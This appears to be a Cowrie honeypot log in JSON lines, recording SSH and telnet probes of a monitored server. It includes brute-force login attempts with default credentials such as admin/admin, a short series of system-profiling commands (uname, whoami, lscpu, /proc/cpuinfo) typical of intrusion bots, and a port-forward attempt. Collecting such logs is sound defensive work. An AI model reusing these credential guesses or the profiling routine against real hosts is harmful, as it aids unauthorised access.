{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:50.854159Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.131218Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.133524Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":45278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af980a9ad30","protocol":"ssh","message":"New connection: 171.244.37.103:45278 (10.17.0.5:22) [session: 2af980a9ad30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.302399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.306657Z","src_ip":"171.244.37.103","session":"2af980a9ad30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.548733Z","src_ip":"171.244.37.103","session":"2af980a9ad30","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.605229Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.890113Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:51.892385Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:52.362871Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:52.551497Z","src_ip":"171.244.37.103","session":"2af980a9ad30","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:52.665209Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:52.667666Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:53.139094Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:53.432072Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:53.435638Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:53.795615Z","src_ip":"171.244.37.103","session":"2af980a9ad30","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:53.908429Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:54.194433Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:54.197408Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:54.669458Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:54.959039Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:54.962316Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:55.434246Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:55.727207Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:55.730801Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:56.230113Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:56.521007Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:56.524003Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aba0190f0ae","protocol":"telnet","message":"New connection: 152.42.224.71:47552 (10.17.0.5:23) [session: 4aba0190f0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:56.867900Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:56.996886Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:57.288257Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:57.291445Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:57.532415Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:57.537086Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47562,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82405062a36","protocol":"telnet","message":"New connection: 152.42.224.71:47562 (10.17.0.5:23) [session: c82405062a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:59.451748Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47570,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2f1d884ded","protocol":"telnet","message":"New connection: 152.42.224.71:47570 (10.17.0.5:23) [session: 1a2f1d884ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:00.662334Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56384,"dst_ip":"10.17.0.5","dst_port":23,"session":"532c59820f59","protocol":"telnet","message":"New connection: 152.42.224.71:56384 (10.17.0.5:23) [session: 532c59820f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:06.309744Z"}
{"eventid":"cowrie.session.closed","duration":118.40880155563354,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:07.147500Z","src_ip":"152.42.224.71","session":"a92c1987d9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78c65dc188f","protocol":"telnet","message":"New connection: 152.42.224.71:56388 (10.17.0.5:23) [session: f78c65dc188f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:07.307401Z"}
{"eventid":"cowrie.session.closed","duration":27.1642062664032,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:16.446455Z","src_ip":"152.42.224.71","session":"49cca780c703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38664,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac4017f7b9e","protocol":"telnet","message":"New connection: 152.42.224.71:38664 (10.17.0.5:23) [session: 6ac4017f7b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:16.617810Z"}
{"eventid":"cowrie.session.closed","duration":17.559869289398193,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:18.222125Z","src_ip":"152.42.224.71","session":"1a2f1d884ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00552105903625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:22.395781Z","src_ip":"152.42.224.71","session":"6a144acbfcec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.4083263874054,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:23.778849Z","src_ip":"152.42.224.71","session":"110a862ea1fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58062,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df5096247bc","protocol":"ssh","message":"New connection: 80.94.92.184:58062 (10.17.0.5:22) [session: 1df5096247bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:25.174129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:25.180306Z","src_ip":"80.94.92.184","session":"1df5096247bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:25.382295Z","src_ip":"80.94.92.184","session":"1df5096247bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38666,"dst_ip":"10.17.0.5","dst_port":23,"session":"126d111d355b","protocol":"telnet","message":"New connection: 152.42.224.71:38666 (10.17.0.5:23) [session: 126d111d355b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:25.898716Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:25.999757Z","src_ip":"80.94.92.184","session":"1df5096247bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:27.243679Z","src_ip":"80.94.92.184","session":"1df5096247bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36866,"dst_ip":"10.17.0.5","dst_port":23,"session":"e99b51708314","protocol":"telnet","message":"New connection: 152.42.224.71:36866 (10.17.0.5:23) [session: e99b51708314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:27.847819Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59576,"dst_ip":"10.17.0.5","dst_port":22,"session":"10dfe24b6e7e","protocol":"ssh","message":"New connection: 87.251.64.176:59576 (10.17.0.5:22) [session: 10dfe24b6e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.105927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.111062Z","src_ip":"87.251.64.176","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.207916Z","src_ip":"87.251.64.176","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36876,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81d7251e4cf","protocol":"telnet","message":"New connection: 152.42.224.71:36876 (10.17.0.5:23) [session: e81d7251e4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.215804Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.502957Z","src_ip":"87.251.64.176","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.602340Z","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.700798Z","src_ip":"87.251.64.176","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":46444,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a896e78a7c7","protocol":"ssh","message":"New connection: 79.117.24.180:46444 (10.17.0.5:22) [session: 5a896e78a7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.769545Z"}
